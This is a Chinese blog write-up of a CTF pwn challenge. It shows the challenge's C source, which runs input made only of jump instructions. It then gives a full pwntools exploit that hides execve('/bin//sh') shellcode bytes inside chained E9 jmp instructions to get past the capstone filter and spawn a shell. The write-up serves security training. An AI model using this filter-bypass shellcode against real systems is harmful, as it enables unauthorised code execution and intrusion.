暑期集训shellcode5(手搓机器码)
拖进ida里面反汇编再让人工智能分析(我是废物)(后来给源码了,直接上源码)
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <capstone/capstone.h>
#include <sys/mman.h>
int upkeep() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int validate(char* ptr, size_t len) {
csh handle;
cs_insn *insn;
int ret = 1;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
return 0;
}
size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn);
size_t success_len = 0;
if (count > 0) {
for (size_t j = 0; j < count; j++) {
ret &= insn[j].mnemonic[0] == 'j';
success_len += insn[j].size;
}
cs_free(insn, count);
} else {
return 0;
}
cs_close(&handle);
ret &= len == success_len;
return ret;
}
int main() {
upkeep();
char code[4096];
size_t n = read(0, code, 0x1000);
if (n > 0 && validate(code, n)) {
((void (*)())code)();
}
return 0;
}
发现本题的逻辑是只能输入‘j’相关的(jmp)指令,先补一下这里的知识
jmp
思路
简单来说就是可以利用jmp从当前指令跳转并执行下一条指令,将getshell的过程一步步分解执行
在ida里面简单实践一下
我们可以看到从当前指令到下一条指令只需要E9 01 00 00 00即可,所以我们每一条指令前都要加上这段。
接下来就是上网找较短的shellcode改成汇编指令再改成机器码,注意E9后只跟4个字节的指令,若超过4个字节需要替换成同义短于4个字节的指令。
WP
from pwn import *
sh = remote('127.0.0.1',42213)
#sh = process("./shellcode5")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode = '''
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xFF\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xF6\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xD2\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xC0\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xDB\x90
\xE9\x01\x00\x00\x00
\xE9\x50\x90\x90\x90
\xE9\x01\x00\x00\x00
\xE9\xB3\x68\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x73\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x6E\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x69\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x62\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x53\x90\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x89\xE7\x90
\xE9\x01\x00\x00\x00
\xE9\xB0\x3B\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x0F\x05\x90\x90'''
#gdb.attach(sh)
#pause()
shellcode=shellcode.replace('\n',' ')
shellcode=shellcode.replace(' ','')
#print(shellcode)
sh.send(shellcode)
sh.interactive()
注意要将空格和换行符都删掉
当然也可以写汇编代码()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具